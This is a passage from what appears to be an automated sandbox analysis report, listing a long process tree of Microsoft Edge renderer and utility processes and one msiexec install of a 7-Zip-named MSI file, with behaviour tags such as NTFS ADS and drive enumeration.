- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --always-read-main-dll --field-trial-handle=3724,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:1
    3⤵
    PID:760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --always-read-main-dll --field-trial-handle=9632,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9600 /prefetch:1
    3⤵
    PID:4816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --always-read-main-dll --field-trial-handle=9016,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8132 /prefetch:1
    3⤵
    PID:4444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --always-read-main-dll --field-trial-handle=8440,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8160 /prefetch:1
    3⤵
    PID:5532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --always-read-main-dll --field-trial-handle=8964,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9908 /prefetch:1
    3⤵
    PID:4284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --always-read-main-dll --field-trial-handle=8960,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9656 /prefetch:1
    3⤵
    PID:976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --always-read-main-dll --field-trial-handle=6348,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9464 /prefetch:1
    3⤵
    PID:4092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --always-read-main-dll --field-trial-handle=9024,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9172 /prefetch:1
    3⤵
    PID:6084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --always-read-main-dll --field-trial-handle=9720,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9504 /prefetch:1
    3⤵
    PID:1532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --always-read-main-dll --field-trial-handle=9080,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8168 /prefetch:1
    3⤵
    PID:5208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --always-read-main-dll --field-trial-handle=9172,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=4168 /prefetch:1
    3⤵
    PID:2364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --always-read-main-dll --field-trial-handle=7984,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9920 /prefetch:1
    3⤵
    PID:4448
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --always-read-main-dll --field-trial-handle=5560,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8132 /prefetch:1
    3⤵
    PID:4948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --always-read-main-dll --field-trial-handle=10012,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9864 /prefetch:1
    3⤵
    PID:5100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --always-read-main-dll --field-trial-handle=8444,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8544 /prefetch:1
    3⤵
    PID:4108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --always-read-main-dll --field-trial-handle=8260,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9908 /prefetch:1
    3⤵
    PID:5500
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --always-read-main-dll --field-trial-handle=9504,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9788 /prefetch:1
    3⤵
    PID:6140
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --always-read-main-dll --field-trial-handle=9104,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9628 /prefetch:1
    3⤵
    PID:2308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --always-read-main-dll --field-trial-handle=9620,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8116 /prefetch:1
    3⤵
    PID:4916
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=95 --always-read-main-dll --field-trial-handle=8196,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9096 /prefetch:1
    3⤵
    PID:848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --always-read-main-dll --field-trial-handle=9612,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8972 /prefetch:1
    3⤵
    PID:2008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --always-read-main-dll --field-trial-handle=9308,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8140 /prefetch:1
    3⤵
    PID:5068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --always-read-main-dll --field-trial-handle=6096,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9716 /prefetch:1
    3⤵
    PID:3044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=99 --always-read-main-dll --field-trial-handle=9072,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9860 /prefetch:1
    3⤵
    PID:2112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=100 --always-read-main-dll --field-trial-handle=8056,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6408 /prefetch:1
    3⤵
    PID:5416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=101 --always-read-main-dll --field-trial-handle=9608,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9412 /prefetch:1
    3⤵
    PID:4132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=102 --always-read-main-dll --field-trial-handle=9324,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9860 /prefetch:1
    3⤵
    PID:5624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8048,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9836 /prefetch:14
    3⤵
    - NTFS ADS
    PID:908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=104 --always-read-main-dll --field-trial-handle=9780,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9928 /prefetch:1
    3⤵
    PID:3452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=105 --always-read-main-dll --field-trial-handle=6552,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8080 /prefetch:1
    3⤵
    PID:4564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5628,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9860 /prefetch:14
    3⤵
    - NTFS ADS
    PID:5568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=107 --always-read-main-dll --field-trial-handle=8076,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:1
    3⤵
    PID:6084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8324,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8420 /prefetch:14
    3⤵
    PID:4332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=109 --always-read-main-dll --field-trial-handle=4012,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9776 /prefetch:1
    3⤵
    PID:3264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=110 --always-read-main-dll --field-trial-handle=10020,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:1
    3⤵
    PID:3972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=10032,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10040 /prefetch:14
    3⤵
    - NTFS ADS
    PID:2904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=112 --always-read-main-dll --field-trial-handle=3712,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=4004 /prefetch:1
    3⤵
    PID:5820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=113 --always-read-main-dll --field-trial-handle=9852,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9100 /prefetch:1
    3⤵
    PID:2440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=114 --always-read-main-dll --field-trial-handle=8780,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9028 /prefetch:1
    3⤵
    PID:3252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=115 --always-read-main-dll --field-trial-handle=10224,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9724 /prefetch:1
    3⤵
    PID:1880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=9212,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8424 /prefetch:14
    3⤵
    - NTFS ADS
    PID:4184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=116 --always-read-main-dll --field-trial-handle=10136,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9028 /prefetch:1
    3⤵
    PID:3056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=118 --always-read-main-dll --field-trial-handle=6084,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10236 /prefetch:1
    3⤵
    PID:4692
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\7z2401 (3).msi"
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:3136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=119 --always-read-main-dll --field-trial-handle=2468,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8996 /prefetch:1
    3⤵
    PID:3824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=120 --always-read-main-dll --field-trial-handle=8776,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8400 /prefetch:1
    3⤵
    PID:2324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8168,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:14
    3⤵
    - NTFS ADS
    PID:3944
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=122 --always-read-main-dll --field-trial-handle=10104,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10296 /prefetch:1
    3⤵
    PID:800
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=123 --always-read-main-dll --field-trial-handle=2720,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:1
    3⤵
    PID:3668
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=124 --always-read-main-dll --field-trial-handle=3664,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:1
    3⤵
    PID:5504
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7368,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:14
    3⤵
    - NTFS ADS
    PID:4064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=125 --always-read-main-dll --field-trial-handle=5572,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9180 /prefetch:1
    3⤵
    PID:3428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=127 --always-read-main-dll --field-trial-handle=10188,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9592 /prefetch:1
    3⤵
    PID:4156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=128 --always-read-main-dll --field-trial-handle=9652,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:1
    3⤵
    PID:2448
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=129 --always-read-main-dll --field-trial-handle=10144,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8420 /prefetch:1
    3⤵
    PID:2012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=130 --always-read-main-dll --field-trial-handle=8348,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10376 /prefetch:1
    3⤵
    PID:5052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=10392,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10100 /prefetch:14
    3⤵
    - NTFS ADS
    PID:1580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
